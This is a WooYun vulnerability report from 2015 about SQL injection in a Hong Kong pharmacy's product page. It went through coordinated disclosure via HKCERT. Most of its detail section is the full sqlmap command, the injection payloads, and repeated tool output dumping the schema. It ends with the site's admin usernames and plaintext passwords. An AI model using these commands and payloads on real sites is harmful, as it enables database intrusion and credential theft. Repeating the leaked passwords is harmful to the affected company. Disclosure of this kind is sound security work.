当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154226

漏洞标题：忠信中西大藥房有限公司某處存在SQL植入攻擊（可獲取admin明文密碼）（香港地區）

相关厂商：忠信中西大藥房有限公司

漏洞作者： 路人甲

提交时间：2015-11-20 18:43

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-20： 细节已通知厂商并且等待厂商处理中
2015-11-24： 厂商已经确认，细节仅向厂商公开
2015-12-04： 细节向核心白帽子及相关领域专家公开
2015-12-14： 细节向普通白帽子公开
2015-12-24： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

忠信中西大藥房有限公司某處存在SQL植入攻擊（可獲取admin明文密碼）

详细说明：

地址：http://**.**.**.**/tc/product-detail.php?cid=1&id=357

python sqlmap.py -u "http://**.**.**.**/tc/product-detail.php?cid=1&id=357" -p cid --technique=BU --random-agent -D chungshu_db1 -T backend_user -C user_id,login,password --dump

漏洞证明：

---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1' AND 8767=8767 AND 'UHsF'='UHsF&id=357
    Type: UNION query
    Title: MySQL UNION query (29) - 4 columns
    Payload: cid=-2577' UNION ALL SELECT 29,29,29,CONCAT(0x716a626271,0x427a4749676e5a7779584b695243795959727645544a4d6d73694b51464e4d6641566a6d694e776f,0x717a7a7071)#&id=357
---
web application technology: PHP 5.3.29, Apache 2.2.27
back-end DBMS: MySQL >= 5.0.0
current user:    'chungshu_user1@localhost'
current user is DBA:    False
database management system users [1]:
[*] 'chungshu_user1'@'localhost'
Database: chungshu_db1
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| attachment                            | 2389    |
| product                               | 486     |
| product_category                      | 6       |
| backend_user                          | 2       |
| setting                               | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 436     |
| GLOBAL_STATUS                         | 296     |
| SESSION_STATUS                        | 296     |
| GLOBAL_VARIABLES                      | 279     |
| SESSION_VARIABLES                     | 279     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130     |
| COLLATIONS                            | 129     |
| PARTITIONS                            | 38      |
| TABLES                                | 38      |
| CHARACTER_SETS                        | 36      |
| SCHEMA_PRIVILEGES                     | 18      |
| PLUGINS                               | 10      |
| ENGINES                               | 8       |
| KEY_COLUMN_USAGE                      | 5       |
| STATISTICS                            | 5       |
| TABLE_CONSTRAINTS                     | 5       |
| SCHEMATA                              | 2       |
| PROCESSLIST                           | 1       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+
columns LIKE 'pass' were found in the following databases:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1' AND 8767=8767 AND 'UHsF'='UHsF&id=357
    Type: UNION query
    Title: MySQL UNION query (29) - 4 columns
    Payload: cid=-2577' UNION ALL SELECT 29,29,29,CONCAT(0x716a626271,0x427a4749676e5a7779584b695243795959727645544a4d6d73694b51464e4d6641566a6d694e776f,0x717a7a7071)#&id=357
---
web application technology: PHP 5.3.29, Apache 2.2.27
back-end DBMS: MySQL 5
columns LIKE 'pass' were found in the following databases:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1' AND 8767=8767 AND 'UHsF'='UHsF&id=357
    Type: UNION query
    Title: MySQL UNION query (29) - 4 columns
    Payload: cid=-2577' UNION ALL SELECT 29,29,29,CONCAT(0x716a626271,0x427a4749676e5a7779584b695243795959727645544a4d6d73694b51464e4d6641566a6d694e776f,0x717a7a7071)#&id=357
---
web application technology: PHP 5.3.29, Apache 2.2.27
back-end DBMS: MySQL 5
available databases [2]:
[*] chungshu_db1
[*] information_schema
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1' AND 8767=8767 AND 'UHsF'='UHsF&id=357
    Type: UNION query
    Title: MySQL UNION query (29) - 4 columns
    Payload: cid=-2577' UNION ALL SELECT 29,29,29,CONCAT(0x716a626271,0x427a4749676e5a7779584b695243795959727645544a4d6d73694b51464e4d6641566a6d694e776f,0x717a7a7071)#&id=357
---
web application technology: PHP 5.3.29, Apache 2.2.27
back-end DBMS: MySQL 5
Database: chungshu_db1
Table: attachment
[3 columns]
+-------------+-------------+
| Column      | Type        |
+-------------+-------------+
| category_id | numeric     |
| table_name  | non-numeric |
| user_id     | numeric     |
+-------------+-------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1' AND 8767=8767 AND 'UHsF'='UHsF&id=357
    Type: UNION query
    Title: MySQL UNION query (29) - 4 columns
    Payload: cid=-2577' UNION ALL SELECT 29,29,29,CONCAT(0x716a626271,0x427a4749676e5a7779584b695243795959727645544a4d6d73694b51464e4d6641566a6d694e776f,0x717a7a7071)#&id=357
---
web application technology: PHP 5.3.29, Apache 2.2.27
back-end DBMS: MySQL 5
Database: chungshu_db1
Table: backend_user
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| group_id | numeric     |
| login    | non-numeric |
| password | non-numeric |
| user_id  | numeric     |
+----------+-------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=1' AND 8767=8767 AND 'UHsF'='UHsF&id=357
    Type: UNION query
    Title: MySQL UNION query (29) - 4 columns
    Payload: cid=-2577' UNION ALL SELECT 29,29,29,CONCAT(0x716a626271,0x427a4749676e5a7779584b695243795959727645544a4d6d73694b51464e4d6641566a6d694e776f,0x717a7a7071)#&id=357
---
web application technology: PHP 5.3.29, Apache 2.2.27
back-end DBMS: MySQL 5
Database: chungshu_db1
Table: backend_user
[2 entries]
+---------+-------+----------+
| user_id | login | password |
+---------+-------+----------+
| 1       | admin | 222999   |
| 2       | tom   | tom123   |
+---------+-------+----------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-11-24 12:21

厂商回复：

Referred to related parties.

最新状态：

暂无